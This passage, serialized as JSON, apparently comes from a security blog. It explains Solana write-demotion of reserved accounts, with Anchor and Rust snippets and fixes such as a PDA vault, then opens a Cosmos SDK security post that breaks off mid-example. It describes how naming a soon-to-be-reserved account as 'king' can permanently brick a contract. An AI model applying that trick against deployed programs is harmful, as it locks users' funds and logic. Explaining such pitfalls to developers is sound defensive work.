,{"type":24,"tag":90,"props":76797,"children":76798},{"style":120},[76799],{"type":29,"value":226},{"type":24,"tag":90,"props":76801,"children":76802},{"style":108},[76803],{"type":29,"value":76804},"is_upgradeable_loader_present",{"type":24,"tag":90,"props":76806,"children":76807},{"style":114},[76808],{"type":29,"value":2121},{"type":24,"tag":90,"props":76810,"children":76811},{"class":92,"line":807},[76812],{"type":24,"tag":90,"props":76813,"children":76814},{"style":114},[76815],{"type":29,"value":827},{"type":24,"tag":25,"props":76817,"children":76818},{},[76819],{"type":29,"value":76820},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":3100,"props":76822,"children":76823},{},[76824,76836],{"type":24,"tag":3104,"props":76825,"children":76826},{},[76827,76829],{"type":29,"value":76828},"The account appears in the ",{"type":24,"tag":69,"props":76830,"children":76833},{"href":76831,"rel":76832},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[73],[76834],{"type":29,"value":76835},"reserved account list",{"type":24,"tag":3104,"props":76837,"children":76838},{},[76839],{"type":29,"value":76840},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":76842,"children":76843},{},[76844],{"type":29,"value":76845},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":76847,"children":76848},{},[76849],{"type":29,"value":76850},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":20686,"props":76852,"children":76854},{"id":76853},"the-reserved-account-list",[76855],{"type":29,"value":76856},"The Reserved Account List",{"type":24,"tag":25,"props":76858,"children":76859},{},[76860,76862,76867],{"type":29,"value":76861},"The Solana runtime maintains a ",{"type":24,"tag":69,"props":76863,"children":76865},{"href":76831,"rel":76864},[73],[76866],{"type":29,"value":76835},{"type":29,"value":76868},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":76870,"children":76871},{},[76872,76874,76881,76883,76888],{"type":29,"value":76873},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":69,"props":76875,"children":76878},{"href":76876,"rel":76877},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[73],[76879],{"type":29,"value":76880},"feature gate is actived",{"type":29,"value":76882},", the runtime will ",{"type":24,"tag":7711,"props":76884,"children":76885},{},[76886],{"type":29,"value":76887},"automatically demote them to read-only",{"type":29,"value":76889},", even if the transaction marked them as writable.",{"type":24,"tag":80,"props":76891,"children":76893},{"className":82,"code":76892,"language":84,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[76894],{"type":24,"tag":32,"props":76895,"children":76896},{"__ignoreMap":7},[76897,76905,76913,76937,76991,77029,77058],{"type":24,"tag":90,"props":76898,"children":76899},{"class":92,"line":93},[76900],{"type":24,"tag":90,"props":76901,"children":76902},{"style":252},[76903],{"type":29,"value":76904},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":90,"props":76906,"children":76907},{"class":92,"line":200},[76908],{"type":24,"tag":90,"props":76909,"children":76910},{"style":252},[76911],{"type":29,"value":76912},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":90,"props":76914,"children":76915},{"class":92,"line":239},[76916,76920,76924,76929,76933],{"type":24,"tag":90,"props":76917,"children":76918},{"style":97},[76919],{"type":29,"value":128},{"type":24,"tag":90,"props":76921,"children":76922},{"style":120},[76923],{"type":29,"value":226},{"type":24,"tag":90,"props":76925,"children":76926},{"style":114},[76927],{"type":29,"value":76928},"reserved_account_keys ",{"type":24,"tag":90,"props":76930,"children":76931},{"style":120},[76932],{"type":29,"value":5491},{"type":24,"tag":90,"props":76934,"children":76935},{"style":114},[76936],{"type":29,"value":269},{"type":24,"tag":90,"props":76938,"children":76939},{"class":92,"line":248},[76940,76944,76948,76953,76957,76962,76966,76970,76974,76978,76982,76986],{"type":24,"tag":90,"props":76941,"children":76942},{"style":97},[76943],{"type":29,"value":206},{"type":24,"tag":90,"props":76945,"children":76946},{"style":97},[76947],{"type":29,"value":4653},{"type":24,"tag":90,"props":76949,"children":76950},{"style":136},[76951],{"type":29,"value":76952}," reserved_keys",{"type":24,"tag":90,"props":76954,"children":76955},{"style":120},[76956],{"type":29,"value":216},{"type":24,"tag":90,"props":76958,"children":76959},{"style":146},[76960],{"type":29,"value":76961}," ReservedAccountKeys",{"type":24,"tag":90,"props":76963,"children":76964},{"style":120},[76965],{"type":29,"value":1211},{"type":24,"tag":90,"props":76967,"children":76968},{"style":108},[76969],{"type":29,"value":1923},{"type":24,"tag":90,"props":76971,"children":76972},{"style":114},[76973],{"type":29,"value":117},{"type":24,"tag":90,"props":76975,"children":76976},{"style":120},[76977],{"type":29,"value":123},{"type":24,"tag":90,"props":76979,"children":76980},{"style":97},[76981],{"type":29,"value":128},{"type":24,"tag":90,"props":76983,"children":76984},{"style":120},[76985],{"type":29,"value":226},{"type":24,"tag":90,"props":76987,"children":76988},{"style":114},[76989],{"type":29,"value":76990},"reserved_account_keys);\n",{"type":24,"tag":90,"props":76992,"children":76993},{"class":92,"line":258},[76994,76999,77003,77008,77012,77016,77020,77024],{"type":24,"tag":90,"props":76995,"children":76996},{"style":136},[76997],{"type":29,"value":76998}," reserved_keys",{"type":24,"tag":90,"props":77000,"children":77001},{"style":120},[77002],{"type":29,"value":226},{"type":24,"tag":90,"props":77004,"children":77005},{"style":108},[77006],{"type":29,"value":77007},"update_active_set",{"type":24,"tag":90,"props":77009,"children":77010},{"style":114},[77011],{"type":29,"value":117},{"type":24,"tag":90,"props":77013,"children":77014},{"style":120},[77015],{"type":29,"value":123},{"type":24,"tag":90,"props":77017,"children":77018},{"style":97},[77019],{"type":29,"value":128},{"type":24,"tag":90,"props":77021,"children":77022},{"style":120},[77023],{"type":29,"value":226},{"type":24,"tag":90,"props":77025,"children":77026},{"style":114},[77027],{"type":29,"value":77028},"feature_set);\n",{"type":24,"tag":90,"props":77030,"children":77031},{"class":92,"line":272},[77032,77037,77041,77045,77049,77054],{"type":24,"tag":90,"props":77033,"children":77034},{"style":146},[77035],{"type":29,"value":77036}," Arc",{"type":24,"tag":90,"props":77038,"children":77039},{"style":120},[77040],{"type":29,"value":1211},{"type":24,"tag":90,"props":77042,"children":77043},{"style":108},[77044],{"type":29,"value":1622},{"type":24,"tag":90,"props":77046,"children":77047},{"style":114},[77048],{"type":29,"value":117},{"type":24,"tag":90,"props":77050,"children":77051},{"style":136},[77052],{"type":29,"value":77053},"reserved_keys",{"type":24,"tag":90,"props":77055,"children":77056},{"style":114},[77057],{"type":29,"value":1686},{"type":24,"tag":90,"props":77059,"children":77060},{"class":92,"line":281},[77061],{"type":24,"tag":90,"props":77062,"children":77063},{"style":114},[77064],{"type":29,"value":3093},{"type":24,"tag":20686,"props":77066,"children":77068},{"id":77067},"consequences-silent-failures-and-bricked-programs",[77069],{"type":29,"value":77070},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":77072,"children":77073},{},[77074],{"type":29,"value":77075},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":80,"props":77077,"children":77079},{"className":82,"code":77078,"language":84,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[77080],{"type":24,"tag":32,"props":77081,"children":77082},{"__ignoreMap":7},[77083,77098,77125,77140,77179,77186,77233,77264,77271,77286,77317,77324,77339,77370],{"type":24,"tag":90,"props":77084,"children":77085},{"class":92,"line":93},[77086,77090,77094],{"type":24,"tag":90,"props":77087,"children":77088},{"style":114},[77089],{"type":29,"value":24634},{"type":24,"tag":90,"props":77091,"children":77092},{"style":146},[77093],{"type":29,"value":24639},{"type":24,"tag":90,"props":77095,"children":77096},{"style":114},[77097],{"type":29,"value":22054},{"type":24,"tag":90,"props":77099,"children":77100},{"class":92,"line":200},[77101,77105,77109,77113,77117,77121],{"type":24,"tag":90,"props":77102,"children":77103},{"style":97},[77104],{"type":29,"value":100},{"type":24,"tag":90,"props":77106,"children":77107},{"style":97},[77108],{"type":29,"value":22947},{"type":24,"tag":90,"props":77110,"children":77111},{"style":146},[77112],{"type":29,"value":73138},{"type":24,"tag":90,"props":77114,"children":77115},{"style":114},[77116],{"type":29,"value":24719},{"type":24,"tag":90,"props":77118,"children":77119},{"style":146},[77120],{"type":29,"value":24724},{"type":24,"tag":90,"props":77122,"children":77123},{"style":114},[77124],{"type":29,"value":197},{"type":24,"tag":90,"props":77126,"children":77127},{"class":92,"line":239},[77128,77132,77136],{"type":24,"tag":90,"props":77129,"children":77130},{"style":114},[77131],{"type":29,"value":24926},{"type":24,"tag":90,"props":77133,"children":77134},{"style":97},[77135],{"type":29,"value":371},{"type":24,"tag":90,"props":77137,"children":77138},{"style":114},[77139],{"type":29,"value":22054},{"type":24,"tag":90,"props":77141,"children":77142},{"class":92,"line":248},[77143,77147,77151,77155,77159,77163,77167,77171,77175],{"type":24,"tag":90,"props":77144,"children":77145},{"style":97},[77146],{"type":29,"value":22639},{"type":24,"tag":90,"props":77148,"children":77149},{"style":136},[77150],{"type":29,"value":73177},{"type":24,"tag":90,"props":77152,"children":77153},{"style":120},[77154],{"type":29,"value":78},{"type":24,"tag":90,"props":77156,"children":77157},{"style":146},[77158],{"type":29,"value":24891},{"type":24,"tag":90,"props":77160,"children":77161},{"style":114},[77162],{"type":29,"value":24719},{"type":24,"tag":90,"props":77164,"children":77165},{"style":146},[77166],{"type":29,"value":24724},{"type":24,"tag":90,"props":77168,"children":77169},{"style":114},[77170],{"type":29,"value":133},{"type":24,"tag":90,"props":77172,"children":77173},{"style":146},[77174],{"type":29,"value":73202},{"type":24,"tag":90,"props":77176,"children":77177},{"style":114},[77178],{"type":29,"value":8523},{"type":24,"tag":90,"props":77180,"children":77181},{"class":92,"line":258},[77182],{"type":24,"tag":90,"props":77183,"children":77184},{"emptyLinePlaceholder":16},[77185],{"type":29,"value":245},{"type":24,"tag":90,"props":77187,"children":77188},{"class":92,"line":272},[77189,77193,77197,77201,77205,77209,77213,77217,77221,77225,77229],{"type":24,"tag":90,"props":77190,"children":77191},{"style":114},[77192],{"type":29,"value":24926},{"type":24,"tag":90,"props":77194,"children":77195},{"style":97},[77196],{"type":29,"value":371},{"type":24,"tag":90,"props":77198,"children":77199},{"style":114},[77200],{"type":29,"value":73237},{"type":24,"tag":90,"props":77202,"children":77203},{"style":120},[77204],{"type":29,"value":5491},{"type":24,"tag":90,"props":77206,"children":77207},{"style":114},[77208],{"type":29,"value":73246},{"type":24,"tag":90,"props":77210,"children":77211},{"style":120},[77212],{"type":29,"value":226},{"type":24,"tag":90,"props":77214,"children":77215},{"style":114},[77216],{"type":29,"value":73255},{"type":24,"tag":90,"props":77218,"children":77219},{"style":120},[77220],{"type":29,"value":10951},{"type":24,"tag":90,"props":77222,"children":77223},{"style":114},[77224],{"type":29,"value":73177},{"type":24,"tag":90,"props":77226,"children":77227},{"style":120},[77228],{"type":29,"value":226},{"type":24,"tag":90,"props":77230,"children":77231},{"style":114},[77232],{"type":29,"value":73272},{"type":24,"tag":90,"props":77234,"children":77235},{"class":92,"line":281},[77236,77240,77244,77248,77252,77256,77260],{"type":24,"tag":90,"props":77237,"children":77238},{"style":97},[77239],{"type":29,"value":22639},{"type":24,"tag":90,"props":77241,"children":77242},{"style":136},[77243],{"type":29,"value":73246},{"type":24,"tag":90,"props":77245,"children":77246},{"style":120},[77247],{"type":29,"value":78},{"type":24,"tag":90,"props":77249,"children":77250},{"style":146},[77251],{"type":29,"value":27207},{"type":24,"tag":90,"props":77253,"children":77254},{"style":114},[77255],{"type":29,"value":24719},{"type":24,"tag":90,"props":77257,"children":77258},{"style":146},[77259],{"type":29,"value":24724},{"type":24,"tag":90,"props":77261,"children":77262},{"style":114},[77263],{"type":29,"value":8523},{"type":24,"tag":90,"props":77265,"children":77266},{"class":92,"line":384},[77267],{"type":24,"tag":90,"props":77268,"children":77269},{"emptyLinePlaceholder":16},[77270],{"type":29,"value":245},{"type":24,"tag":90,"props":77272,"children":77273},{"class":92,"line":420},[77274,77278,77282],{"type":24,"tag":90,"props":77275,"children":77276},{"style":114},[77277],{"type":29,"value":24926},{"type":24,"tag":90,"props":77279,"children":77280},{"style":97},[77281],{"type":29,"value":371},{"type":24,"tag":90,"props":77283,"children":77284},{"style":114},[77285],{"type":29,"value":22054},{"type":24,"tag":90,"props":77287,"children":77288},{"class":92,"line":428},[77289,77293,77297,77301,77305,77309,77313],{"type":24,"tag":90,"props":77290,"children":77291},{"style":97},[77292],{"type":29,"value":22639},{"type":24,"tag":90,"props":77294,"children":77295},{"style":136},[77296],{"type":29,"value":73345},{"type":24,"tag":90,"props":77298,"children":77299},{"style":120},[77300],{"type":29,"value":78},{"type":24,"tag":90,"props":77302,"children":77303},{"style":146},[77304],{"type":29,"value":27207},{"type":24,"tag":90,"props":77306,"children":77307},{"style":114},[77308],{"type":29,"value":24719},{"type":24,"tag":90,"props":77310,"children":77311},{"style":146},[77312],{"type":29,"value":24724},{"type":24,"tag":90,"props":77314,"children":77315},{"style":114},[77316],{"type":29,"value":8523},{"type":24,"tag":90,"props":77318,"children":77319},{"class":92,"line":437},[77320],{"type":24,"tag":90,"props":77321,"children":77322},{"emptyLinePlaceholder":16},[77323],{"type":29,"value":245},{"type":24,"tag":90,"props":77325,"children":77326},{"class":92,"line":574},[77327,77331,77335],{"type":24,"tag":90,"props":77328,"children":77329},{"style":114},[77330],{"type":29,"value":24926},{"type":24,"tag":90,"props":77332,"children":77333},{"style":97},[77334],{"type":29,"value":371},{"type":24,"tag":90,"props":77336,"children":77337},{"style":114},[77338],{"type":29,"value":22054},{"type":24,"tag":90,"props":77340,"children":77341},{"class":92,"line":606},[77342,77346,77350,77354,77358,77362,77366],{"type":24,"tag":90,"props":77343,"children":77344},{"style":97},[77345],{"type":29,"value":22639},{"type":24,"tag":90,"props":77347,"children":77348},{"style":136},[77349],{"type":29,"value":44059},{"type":24,"tag":90,"props":77351,"children":77352},{"style":120},[77353],{"type":29,"value":78},{"type":24,"tag":90,"props":77355,"children":77356},{"style":146},[77357],{"type":29,"value":24955},{"type":24,"tag":90,"props":77359,"children":77360},{"style":114},[77361],{"type":29,"value":24719},{"type":24,"tag":90,"props":77363,"children":77364},{"style":146},[77365],{"type":29,"value":24724},{"type":24,"tag":90,"props":77367,"children":77368},{"style":114},[77369],{"type":29,"value":8523},{"type":24,"tag":90,"props":77371,"children":77372},{"class":92,"line":615},[77373],{"type":24,"tag":90,"props":77374,"children":77375},{"style":114},[77376],{"type":29,"value":827},{"type":24,"tag":25,"props":77378,"children":77379},{},[77380,77382,77388,77390,77396],{"type":29,"value":77381},"This works fine — until one day, ",{"type":24,"tag":32,"props":77383,"children":77385},{"className":77384},[],[77386],{"type":29,"value":77387},"old_king",{"type":29,"value":77389}," is silently demoted. Suddenly, the ",{"type":24,"tag":32,"props":77391,"children":77393},{"className":77392},[],[77394],{"type":29,"value":77395},"#[account(mut)]",{"type":29,"value":77397}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":20686,"props":77399,"children":77401},{"id":77400},"real-world-example-write-demotion-with-secp256r1_program",[77402,77404],{"type":29,"value":77403},"Real-World Example: Write-Demotion with ",{"type":24,"tag":32,"props":77405,"children":77407},{"className":77406},[],[77408],{"type":29,"value":77409},"secp256r1_program",{"type":24,"tag":25,"props":77411,"children":77412},{},[77413,77415,77420],{"type":29,"value":77414},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":32,"props":77416,"children":77418},{"className":77417},[],[77419],{"type":29,"value":77409},{"type":29,"value":77421},", a precompiled program gated behind a feature flag:",{"type":24,"tag":80,"props":77423,"children":77425},{"className":82,"code":77424,"language":84,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[77426],{"type":24,"tag":32,"props":77427,"children":77428},{"__ignoreMap":7},[77429,77450,77470,77499],{"type":24,"tag":90,"props":77430,"children":77431},{"class":92,"line":93},[77432,77437,77441,77446],{"type":24,"tag":90,"props":77433,"children":77434},{"style":146},[77435],{"type":29,"value":77436},"ReservedAccount",{"type":24,"tag":90,"props":77438,"children":77439},{"style":120},[77440],{"type":29,"value":1211},{"type":24,"tag":90,"props":77442,"children":77443},{"style":108},[77444],{"type":29,"value":77445},"new_pending",{"type":24,"tag":90,"props":77447,"children":77448},{"style":114},[77449],{"type":29,"value":680},{"type":24,"tag":90,"props":77451,"children":77452},{"class":92,"line":200},[77453,77458,77462,77466],{"type":24,"tag":90,"props":77454,"children":77455},{"style":114},[77456],{"type":29,"value":77457}," secp256r1_program",{"type":24,"tag":90,"props":77459,"children":77460},{"style":120},[77461],{"type":29,"value":1211},{"type":24,"tag":90,"props":77463,"children":77464},{"style":108},[77465],{"type":29,"value":5875},{"type":24,"tag":90,"props":77467,"children":77468},{"style":114},[77469],{"type":29,"value":1384},{"type":24,"tag":90,"props":77471,"children":77472},{"class":92,"line":239},[77473,77478,77482,77487,77491,77495],{"type":24,"tag":90,"props":77474,"children":77475},{"style":114},[77476],{"type":29,"value":77477}," feature_set",{"type":24,"tag":90,"props":77479,"children":77480},{"style":120},[77481],{"type":29,"value":1211},{"type":24,"tag":90,"props":77483,"children":77484},{"style":114},[77485],{"type":29,"value":77486},"enable_secp256r1_precompile",{"type":24,"tag":90,"props":77488,"children":77489},{"style":120},[77490],{"type":29,"value":1211},{"type":24,"tag":90,"props":77492,"children":77493},{"style":108},[77494],{"type":29,"value":5875},{"type":24,"tag":90,"props":77496,"children":77497},{"style":114},[77498],{"type":29,"value":1384},{"type":24,"tag":90,"props":77500,"children":77501},{"class":92,"line":248},[77502],{"type":24,"tag":90,"props":77503,"children":77504},{"style":114},[77505],{"type":29,"value":1686},{"type":24,"tag":25,"props":77507,"children":77508},{},[77509,77511,77516,77518,77524],{"type":29,"value":77510},"Before the ",{"type":24,"tag":32,"props":77512,"children":77514},{"className":77513},[],[77515],{"type":29,"value":77486},{"type":29,"value":77517}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":24,"tag":32,"props":77519,"children":77521},{"className":77520},[],[77522],{"type":29,"value":77523},"secp256r1_program::id()",{"type":29,"value":77525}," as the king in a contract.",{"type":24,"tag":25,"props":77527,"children":77528},{},[77529,77531,77536],{"type":29,"value":77530},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":24,"tag":32,"props":77532,"children":77534},{"className":77533},[],[77535],{"type":29,"value":77523},{"type":29,"value":77537}," becomes the eternal king, and no one can dethrone it.",{"type":24,"tag":20686,"props":77539,"children":77541},{"id":77540},"fix-3-preventing-write-demotion-pitfalls",[77542],{"type":29,"value":77543},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":24,"tag":25,"props":77545,"children":77546},{},[77547,77549,77554],{"type":29,"value":77548},"Alright, let’s try to fix this ",{"type":24,"tag":842,"props":77550,"children":77551},{},[77552],{"type":29,"value":77553},"yet another",{"type":29,"value":77555}," edge case — and hopefully close the book on it.",{"type":24,"tag":20686,"props":77557,"children":77559},{"id":77558},"attempt-1-block-known-reserved-accounts",[77560],{"type":29,"value":77561},"Attempt 1: Block Known Reserved Accounts",{"type":24,"tag":25,"props":77563,"children":77564},{},[77565],{"type":29,"value":77566},"One naive solution is to reject any known reserved account, for example:",{"type":24,"tag":80,"props":77568,"children":77570},{"className":42177,"code":77569,"language":42179,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[77571],{"type":24,"tag":32,"props":77572,"children":77573},{"__ignoreMap":7},[77574,77582],{"type":24,"tag":90,"props":77575,"children":77576},{"class":92,"line":93},[77577],{"type":24,"tag":90,"props":77578,"children":77579},{"style":114},[77580],{"type":29,"value":77581}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":24,"tag":90,"props":77583,"children":77584},{"class":92,"line":200},[77585],{"type":24,"tag":90,"props":77586,"children":77587},{"style":349},[77588],{"type":29,"value":77589},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":24,"tag":25,"props":77591,"children":77592},{},[77593,77595,77600],{"type":29,"value":77594},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":24,"tag":32,"props":77596,"children":77598},{"className":77597},[],[77599],{"type":29,"value":77436},{"type":29,"value":77601}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":24,"tag":20686,"props":77603,"children":77605},{"id":77604},"attempt-2-use-a-pda-vault",[77606],{"type":29,"value":77607},"Attempt 2: Use a PDA Vault",{"type":24,"tag":25,"props":77609,"children":77610},{},[77611,77613,77618],{"type":29,"value":77612},"A more future-proof fix is to avoid ",{"type":24,"tag":7711,"props":77614,"children":77615},{},[77616],{"type":29,"value":77617},"transferring lamports to arbitrary accounts",{"type":29,"value":77619}," altogether.",{"type":24,"tag":25,"props":77621,"children":77622},{},[77623],{"type":29,"value":77624},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":24,"tag":850,"props":77626,"children":77628},{"id":77627},"final-thoughts",[77629],{"type":29,"value":77630},"Final Thoughts",{"type":24,"tag":25,"props":77632,"children":77633},{},[77634],{"type":29,"value":77635},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":24,"tag":25,"props":77637,"children":77638},{},[77639],{"type":29,"value":77640},"We can safely transfer lamports to an account under the following conditions:",{"type":24,"tag":3207,"props":77642,"children":77643},{},[77644,77649,77654],{"type":24,"tag":3104,"props":77645,"children":77646},{},[77647],{"type":29,"value":77648},"It's not executable.",{"type":24,"tag":3104,"props":77650,"children":77651},{},[77652],{"type":29,"value":77653},"Its balance, after the transfer, remains rent-exempt.",{"type":24,"tag":3104,"props":77655,"children":77656},{},[77657],{"type":29,"value":77658},"It's not a reserved account.",{"type":24,"tag":25,"props":77660,"children":77661},{},[77662],{"type":29,"value":77663},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":24,"tag":5249,"props":77665,"children":77666},{},[77667],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":77669},[77670,77671,77672,77678],{"id":30826,"depth":200,"text":30829},{"id":73052,"depth":200,"text":73055},{"id":74159,"depth":200,"text":74162,"children":77673},[77674,77675,77677],{"id":74165,"depth":239,"text":74168},{"id":74852,"depth":239,"text":77676},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":76157,"depth":239,"text":76160},{"id":77627,"depth":200,"text":77630},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":77683,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77684,"description":77685,"date":77686,"author":77687,"image":77688,"isFeatured":16,"onBlogPage":16,"tags":77690,"body":77693,"_type":5270,"_id":91578,"_source":5272,"_file":91579,"_stem":91580,"_extension":5275},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77689,"width":14,"height":14},"/posts/cosmos-security/title.png",[77691,77692],"cosmos-sdk","security",{"type":21,"children":77694,"toc":91556},[77695,77699,77704,77709,77715,77720,77725,77730,77991,78480,78499,78504,78509,78514,78520,78525,78560,78570,79077,79097,79110,79116,79121,79126,79367,79372,79380,79392,79754,79759,79764,79800,79809,80235,80256,80262,80282,80303,80322,80354,80366,80378,81032,81060,81069,81509,81536,81556,81561,81582,81631,81640,82872,82900,82906,82911,82916,82936,83223,83257,83438,83443,83448,83492,83501,84693,84944,84957,84963,84997,85002,85065,85070,85090,85109,85121,85140,85832,85837,85842,85870,85879,86764,86791,86797,86817,86822,86835,87009,87022,87113,87118,87126,87136,87286,87291,87311,87319,87324,87722,87734,87739,87780,87791,87811,88119,88124,89049,89061,89069,89074,90067,90072,90084,90104,90123,91037,91094,91200,91212,91217,91222,91250,91259,91485,91511,91524,91538,91542,91547,91552],{"type":24,"tag":850,"props":77696,"children":77697},{"id":30826},[77698],{"type":29,"value":30829},{"type":24,"tag":25,"props":77700,"children":77701},{},[77702],{"type":29,"value":77703},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":24,"tag":25,"props":77705,"children":77706},{},[77707],{"type":29,"value":77708},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":24,"tag":850,"props":77710,"children":77712},{"id":77711},"its-loopin-time",[77713],{"type":29,"value":77714},"It's Loopin' Time",{"type":24,"tag":25,"props":77716,"children":77717},{},[77718],{"type":29,"value":77719},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":24,"tag":25,"props":77721,"children":77722},{},[77723],{"type":29,"value":77724},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":24,"tag":25,"props":77726,"children":77727},{},[77728],{"type":29,"value":77729},"Here is a simple example for reference:",{"type":24,"tag":80,"props":77731,"children":77733},{"code":77732,"language":6860,"meta":7,"className":6861,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[77734],{"type":24,"tag":32,"props":77735,"children":77736},{"__ignoreMap":7},[77737,77753,77770,77786,77808,77837,77858,77882,77903,77910,77931,77948,77965,77972,77984],{"type":24,"tag":90,"props":77738,"children":77739},{"class":92,"line":93},[77740,77744,77749],{"type":24,"tag":90,"props":77741,"children":77742},{"style":97},[77743],{"type":29,"value":33190},{"type":24,"tag":90,"props":77745,"children":77746},{"style":108},[77747],{"type":29,"value":77748}," sumWithStride",{"type":24,"tag":90,"props":77750,"children":77751},{"style":114},[77752],{"type":29,"value":680},{"type":24,"tag":90,"props":77754,"children":77755},{"class":92,"line":200},[77756,77761,77766],{"type":24,"tag":90,"props":77757,"children":77758},{"style":146},[77759],{"type":29,"value":77760}," uint64",{"type":24,"tag":90,"props":77762,"children":77763},{"style":136},[77764],{"type":29,"value":77765}," start",{"type":24,"tag":90,"props":77767,"children":77768},{"style":114},[77769],{"type":29,"value":748},{"type":24,"tag":90,"props":77771,"children":77772},{"class":92,"line":239},[77773,77777,77782],{"type":24,"tag":90,"props":77774,"children":77775},{"style":146},[77776],{"type":29,"value":77760},{"type":24,"tag":90,"props":77778,"children":77779},{"style":136},[77780],{"type":29,"value":77781}," stride",{"type":24,"tag":90,"props":77783,"children":77784},{"style":114},[77785],{"type":29,"value":748},{"type":24,"tag":90,"props":77787,"children":77788},{"class":92,"line":248},[77789,77793,77798,77803],{"type":24,"tag":90,"props":77790,"children":77791},{"style":146},[77792],{"type":29,"value":77760},{"type":24,"tag":90,"props":77794,"children":77795},{"style":114},[77796],{"type":29,"value":77797},"[] ",{"type":24,"tag":90,"props":77799,"children":77800},{"style":97},[77801],{"type":29,"value":77802},"memory",{"type":24,"tag":90,"props":77804,"children":77805},{"style":136},[77806],{"type":29,"value":77807}," arr\n",{"type":24,"tag":90,"props":77809,"children":77810},{"class":92,"line":258},[77811,77815,77819,77824,77828,77833],{"type":24,"tag":90,"props":77812,"children":77813},{"style":114},[77814],{"type":29,"value":172},{"type":24,"tag":90,"props":77816,"children":77817},{"style":97},[77818],{"type":29,"value":63501},{"type":24,"tag":90,"props":77820,"children":77821},{"style":636},[77822],{"type":29,"value":77823}," returns",{"type":24,"tag":90,"props":77825,"children":77826},{"style":114},[77827],{"type":29,"value":1151},{"type":24,"tag":90,"props":77829,"children":77830},{"style":146},[77831],{"type":29,"value":77832},"uint64",{"type":24,"tag":90,"props":77834,"children":77835},{"style":114},[77836],{"type":29,"value":1297},{"type":24,"tag":90,"props":77838,"children":77839},{"class":92,"line":272},[77840,77844,77849,77853],{"type":24,"tag":90,"props":77841,"children":77842},{"style":146},[77843],{"type":29,"value":77760},{"type":24,"tag":90,"props":77845,"children":77846},{"style":114},[77847],{"type":29,"value":77848}," idx 